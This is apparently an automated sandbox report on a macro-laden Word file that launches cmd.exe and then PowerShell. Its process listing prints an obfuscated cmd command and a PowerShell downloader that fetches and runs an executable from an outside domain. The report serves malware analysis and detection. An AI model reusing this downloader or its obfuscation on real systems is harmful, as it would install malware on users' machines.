Malware analysis 539ecca8b99ef55f41b43a78cd92bd4d7e0ed023063735f0d59f483a6d0de298 Malicious activity

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File name:	539ecca8b99ef55f41b43a78cd92bd4d7e0ed023063735f0d59f483a6d0de298
Full analysis:	https://app.any.run/tasks/33b194f6-1b0b-4d21-9b31-c1ff892af7b7
Verdict:	Malicious activity
Analysis date:	January 22, 2019, 15:00:55
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open generated-doc
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Icyzhymypevupuj-PC, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 12 07:52:00 2018, Last Saved Time/Date: Wed Sep 12 07:52:00 2018, Number of Pages: 1, Number of Words: 8, Number of Characters: 48, Security: 0
MD5:	CCD53D34C6D61DFCE9A42AACE3956546
SHA1:	2027FABC044797A23EF99B62DE704222EE8A8B00
SHA256:	539ECCA8B99EF55F41B43A78CD92BD4D7E0ED023063735F0D59F483A6D0DE298
SSDEEP:	768:lYpJcaUitGAlmrJpmxlzC+w99NBc+1AXKqAeCDjgAKTk:WptJlmrJpmxlRw99NBc+ycDiT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: on
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: on
Route via Tor:: off
Autoconfirmation of UAC:: off
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2872)
- Starts CMD.EXE for commands execution
  - WINWORD.EXE (PID: 2872)
- Executes PowerShell scripts
  - cmd.exe (PID: 3440)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 2652)
INFO
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2872)
- Creates files in the user directory
  - WINWORD.EXE (PID: 2872)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title:	-
Subject:	-
Author:	Icyzhymypevupuj-PC
Keywords:	-
Comments:	-
Template:	Normal.dotm
LastModifiedBy:	-
RevisionNumber:	1
Software:	Microsoft Office Word
TotalEditTime:	-
CreateDate:	2018:09:12 06:52:00
ModifyDate:	2018:09:12 06:52:00
Pages:	1
Words:	8
Characters:	48
Security:	None
CodePage:	Windows Cyrillic
Company:	-
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	55
AppVersion:	14
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	-
HeadingPairs:	Название 1
CompObjUserTypeLen:	32
CompObjUserType:	???????? Microsoft Word 97-2003

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2652

powershell $ZhT=new-object Net.WebClient;$Ejz='http://4jt4l032ayqiw.com/RTT/opanskot.php?l=zime4.tkn'.Split('@');$GJV = '482';$KnM=$env:public+'\'+$GJV+'.exe';foreach($VVs in $Ejz){try{$ZhT.DownloadFile($VVs, $KnM);Invoke-Item $KnM;break;}catch{}}

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2872

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\539ecca8b99ef55f41b43a78cd92bd4d7e0ed023063735f0d59f483a6d0de298.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3440

cmd /V^:^O/C"^se^t ^ol^J= ^ ^ ^ ^ ^ ^ ^ ^ }^}{hctac^}^;ka^erb^;^Mn^K^$^ me^t^I-^ekovnI;)^MnK^$ ^,^sVV$(^e^li^F^daolnwoD^.ThZ$^{^yrt{)z^jE$ n^i sVV$(hca^ero^f^;^'exe.'+VJ^G^$^+'^\^'^+ci^lbup:vne$^=Mn^K^$^;^'28^4' =^ VJ^G$^;)'@^'(t^ilp^S.'nkt^.^4emiz^=l^?^php.^to^ksna^p^o/^TTR/^m^oc.^w^iq^ya^230^l^4t^j4//^:^ptt^h'=^z^j^E^$^;tnei^lCbeW.t^eN tce^jb^o-^w^en^=Th^Z^$^ ^lle^hsr^e^w^o^p&&^f^or /^L %^M ^in (26^3,^-^1^,0)d^o ^s^et V^d^D=!V^d^D!!^ol^J:~%^M,1!&&^i^f %^M ^l^ss ^1 c^al^l %V^d^D:*V^d^D!^=%"

C:\Windows\system32\cmd.exe

—

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll

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Total events

1 194

Read events

792

Write events

395

Delete events

Modification events


(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	e3,
Value: 65332C00380B0000010000000000000000000000
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1312161815
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1312161936
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1312161937
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 380B0000E873154D63B2D40100000000
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	(6,
Value: 28362C00380B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	(6,
Value: 28362C00380B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2872) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2872	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRD7E5.tmp.cvr		—
		MD5:—	SHA256:—
2652	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7W81FH8FL9UW2CGZZR8L.temp		—
		MD5:—	SHA256:—
2872	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
2652	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20e5a1.TMP		binary
		MD5:—	SHA256:—
2872	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\539ecca8b99ef55f41b43a78cd92bd4d7e0ed023063735f0d59f483a6d0de298.doc.LNK		lnk
		MD5:—	SHA256:—
2652	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2872	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat		text
		MD5:—	SHA256:—
2872	WINWORD.EXE	C:\Users\admin\Desktop\~$9ecca8b99ef55f41b43a78cd92bd4d7e0ed023063735f0d59f483a6d0de298.doc		pgc
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

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Connections

No data

DNS requests

Domain	IP	Reputation
4jt4l032ayqiw.com	—	suspicious

Threats

No threats detected

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No debug info

General Info

539ecca8b99ef55f41b43a78cd92bd4d7e0ed023063735f0d59f483a6d0de298

CCD53D34C6D61DFCE9A42AACE3956546

2027FABC044797A23EF99B62DE704222EE8A8B00

539ECCA8B99EF55F41B43A78CD92BD4D7E0ED023063735F0D59F483A6D0DE298

768:lYpJcaUitGAlmrJpmxlzC+w99NBc+1AXKqAeCDjgAKTk:WptJlmrJpmxlRw99NBc+ycDiT

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Starts CMD.EXE for commands execution

Executes PowerShell scripts

SUSPICIOUS

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings